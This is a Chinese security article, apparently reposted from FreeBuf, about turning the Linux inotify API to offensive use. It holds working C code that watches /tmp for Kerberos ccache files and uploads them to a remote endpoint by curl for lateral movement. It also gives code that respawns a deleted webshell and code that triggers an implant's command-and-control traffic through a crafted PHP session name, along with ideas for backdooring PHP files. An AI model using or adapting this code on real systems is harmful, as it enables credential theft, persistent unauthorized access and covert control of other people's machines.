专栏首页FreeBuf从攻击者角度重新思索inotity API的利用方式

从攻击者角度重新思索inotity API的利用方式

我们以往在看”inotify API”的使用的时候,关注点都放在防护端,比如在入侵事件发生后IT管理员用来监控文件或者目录的改变来辅助排查入侵事件。本文我们将重点放在攻击方,让你熟悉inotify API的猥琐使用方式:)

0x00 窃取 ccache 文件

在企业网络中,linux和windows系统共存,并将身份验证委托给AD是很常见的场景。在这种类型的环境中。当攻击者获取了一台Linux主机的权限后,通常会查看/tmp目录寻找凭证缓存文件(ccache),该文件通常包含TGT(Ticket-Granting-Ticket),用于通过kerberos协议进行用户到服务的认证。

该文件的命名方式如下“krb5cc_%UID%”,可以直接被基于impacket框架的工具来使用。所以如果我们能读取该文件的话,就能够使用psexec.py/smbexec.py等工具来尝试对内网其他机器进行命令执行,从而实现横向移动(如果我们足够幸运得到的这个文件来自于一个特权用户的话,甚至可以提升权限)。当我们确实知道该网络是使用kerberos作为认证的,但是现在不能够得到该文件(因为该文件寿命很短)时,我们可以设置一个Inotify watcher来监控/tmp目录,当该文件创建时,就转发给我们。

我们的计划非常简单,如上所述,新建一个watcher来监控/tmp目录,如果一个前缀是”krb5cc_”的文件被创建或者修改了,就发送给我们,代码如下:

// Example based on https://www.lynxbee.com/c-program-to-monitor-and-notify-changes-in-a-directory-file-using-inotify/
#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <errno.h>#include <sys/types.h>#include <sys/inotify.h>#include <sys/stat.h>#include <limits.h>#include <unistd.h>#include <fcntl.h>#include <curl/curl.h>#define MAX_EVENTS 1024 /*Max. number of events to process at one go*/#define LEN_NAME 1024 /*Assuming length of the filename won't exceed 16 bytes*/#define EVENT_SIZE  ( sizeof (struct inotify_event)  ) /*size of one event*/#define BUF_LEN     ( MAX_EVENTS * ( EVENT_SIZE + LEN_NAME  ) ) /*buffer to store the data of events*/#define endpoint "http://localhost:4444"int exfiltrate(char* filename) {    CURL *curl;    CURLcode res;    struct stat file_info;    FILE *fd;    fd = fopen(filename, "rb");    if(!fd){        return -1;    }    if(fstat(fileno(fd), &file_info) != 0) {        return -1;    }    curl = curl_easy_init();    if (curl){        curl_easy_setopt(curl, CURLOPT_URL, endpoint);        curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);        curl_easy_setopt(curl, CURLOPT_READDATA, fd);        res = curl_easy_perform(curl);        if (res != CURLE_OK) {            return -1;        }        curl_easy_cleanup(curl);    }           fclose(fd);    return 0;}int main(int argc, char **argv){    int length, i= 0, wd;    int fd;     char buffer[BUF_LEN];    char *ticketloc = NULL;    printf("[Kerberos ccache exfiltrator PoC]\n\n");       //Initiate inotify    if ((fd = inotify_init()) < 0) {        printf("Could not initiate inotify!!\n");        return -1;    }    //Add a watcher for the creation or modification of files at /tmp folder    if ((wd = inotify_add_watch(fd, "/tmp", IN_CREATE | IN_MODIFY)) == -1) {        printf("Could not add a watcher!!\n");        return -2;    }    //Main loop     while(1) {        i = 0;        length = read(fd, buffer, BUF_LEN);        if (length < 0) {            return -3;        }        while (i < length) {            struct inotify_event *event = (struct inotify_event *)&buffer[i];            if (event->len) {                    //Check for prefix                    if (strncmp(event->name, "krb5cc_", strlen("krb5cc_")) == 0){                        printf("New cache file found! (%s)", event->name);                        asprintf(&ticketloc, "/tmp/%s",event->name);                        //Forward it to us                        if (exfiltrate(ticketloc) != 0) {                            printf(" - Failed!\n");                        }                        else {                            printf(" - Exfiltrated!\n");                        }                        free(ticketloc);                    }                i += EVENT_SIZE + event->len;            }        }    }}

我们可以在监控到该文件创建后,就通过LDAP搜索,来检测当前用户的权限。

0x01 重新放置webshell后门

另一个通用的场景为,当我们放置的webshell被删除的时候(由于管理员发现,CMS更新等原因),通过使用inotify可以实现当webshell被删除的时候再创建一个,并且通知我们,代码如下

int main(int argc, char **argv){    int length, i= 0, wd;    int fd;     char buffer[BUF_LEN];    //Initiate inotify    if ((fd = inotify_init()) < 0) {        printf("Could not initiate inotify!!\n");        return -1;    }    //Webshell location
if ((wd = inotify_add_watch(fd, "/var/www/html/my_shinny_webshell.php", IN_DELETE | IN_DELETE_SELF) == -1) {        printf("Could not add a watcher!!\n");        return -2;    }    //Main loop     while(1) {        i = 0;        length = read(fd, buffer, BUF_LEN);        if (length < 0) {            return -3;        }        while (i < length) {            struct inotify_event *event = (struct inotify_event *)&buffer[i];            if (event->len) {                                  respawn_webshell();                                i += EVENT_SIZE + event->len;            }        }    }}

其他的想法:当一个合法的PHP文件被修改时,也同时放置我们的后门进去。或者,监控配置文件,检测数据库链接账号是否改变。

0x02 基于PHP会话名触发恶意软件行为

我们可以通过创建一个存储PHP会话的命名文件作为隐蔽通道来和我们的Implants进行命令通信。例如下面的例子,我假想当一个命名为sess_ALEAIACTAESTXX的文件创建时,就和我们的CC进行通信。

int main(int argc, char **argv){    int length, i= 0, wd;    int fd;     char buffer[BUF_LEN];    //Initiate inotify    if ((fd = inotify_init()) < 0) {        printf("Could not initiate inotify!!\n");        return -1;    }    //Session folder as set in session.save_path    if ((wd = inotify_add_watch(fd, "/var/lib/php/session", IN_CREATE) == -1) {        printf("Could not add a watcher!!\n");        return -2;    }    //Main loop     while(1) {        i = 0;        length = read(fd, buffer, BUF_LEN);        if (length < 0) {            return -3;        }        while (i < length) {            struct inotify_event *event = (struct inotify_event *)&buffer[i];            if (event->len) {                                    if (strncmp(event->name, "sess_ALEAIACTAEST", strlen("sess_ALEAIACTAEST")) == 0){                        start_communication_with_CC();                    }                                i += EVENT_SIZE + event->len;            }        }    }}

通过一个简单的CURL请求(curl http://localhost/test.php --cookie "PHPSESSID=ALEAIACTAESTx1"),我们就可以触发这个动作。

*参考来源:Github,菲哥哥编译整理,转载请注明来自 FreeBuf.COM

本文分享自微信公众号 - FreeBuf(freebuf),作者:菲哥哥

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-04-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 极客DIY:手机文件直传U盘,三步教你做一根OTG传输线

    FreeBuf科普 OTG,即On-The-Go,该技术就是实现在没有电脑的情况下,实现从设备间的数据传送。例如数码相机直接连接到打印机上,通过OTG技术,连接...

    FB客服
  • 揭秘:针对PoS机的恶意软件工具箱

    最近两年,PoS恶意软件由于塔吉特、家得宝、Kmart遭遇的POS机攻击而被广泛关注。随着“黑色星期五”购物季的到来,PoS机恶意软件必定会受到关注。 PoS攻...

    FB客服
  • 看我如何用一千块钱搭个八核十六线程、32G内存的工作站

    * 本文原创作者:Push丶EAX,本文属FreeBuf原创奖励计划,未经许可禁止转载 笔者经常要使用虚拟机,然而作为一个用着i3的屌丝,每一次开虚拟机都是一次...

    FB客服
  • [QT]屏蔽Tab键切换控件焦点

    原文链接:https://blog.csdn.net/humanking7/article/details/80654775

    祥知道
  • Facebook iOS UI 工具ComponentKit简介

    在 iOS 上面开发界面,需要创建视图、配置界面、视图分层等等很多步骤,也就不可避免的需要书写 N 多的代码。这还仅仅是界面设计,除此之外,完成 control...

    xiangzhihong
  • 接口测试代码覆盖率(jacoco)方案分享

    在做接口测试过程中,为了达到量化接口测试用例效果的目的,引入了代码覆盖率作为重要指标,在查阅相关文档和资料通过实践之后,大概得到了一个方案。如图:

    八音弦
  • 关于Windows服务器的一个奇怪的问题

    已经被这个问题困扰了很久了,先说下这个问题的来源及现象吧。 这个问题得从上次换服务器之后说起。这是公司的服务器,用于手机相关的服务器,为手机业务提供APP的升级...

    徐大嘴
  • 事件中心 - 解耦核心业务与辅助功能

    十毛
  • 速读原著-TCP/IP(Sun远程过程调用)

    大多数的网络程序设计都是编写一些调用系统提供的函数来完成特定的网络操作的应用程序。例如,一个函数完成 T C P的主动打开,另一个完成 T C P的被动打开,一...

    cwl_java
  • STL中sort排序算法第三个参数_Compare的实现本质

    关于C++ STL vector 中的sort排序算法有三种自定义实现,它们本质上都是返回bool类型,提供给sort函数作为第三个参数。

    xiaoxi666

扫码关注云+社区

领取腾讯云代金券

玩转腾讯云 有奖征文活动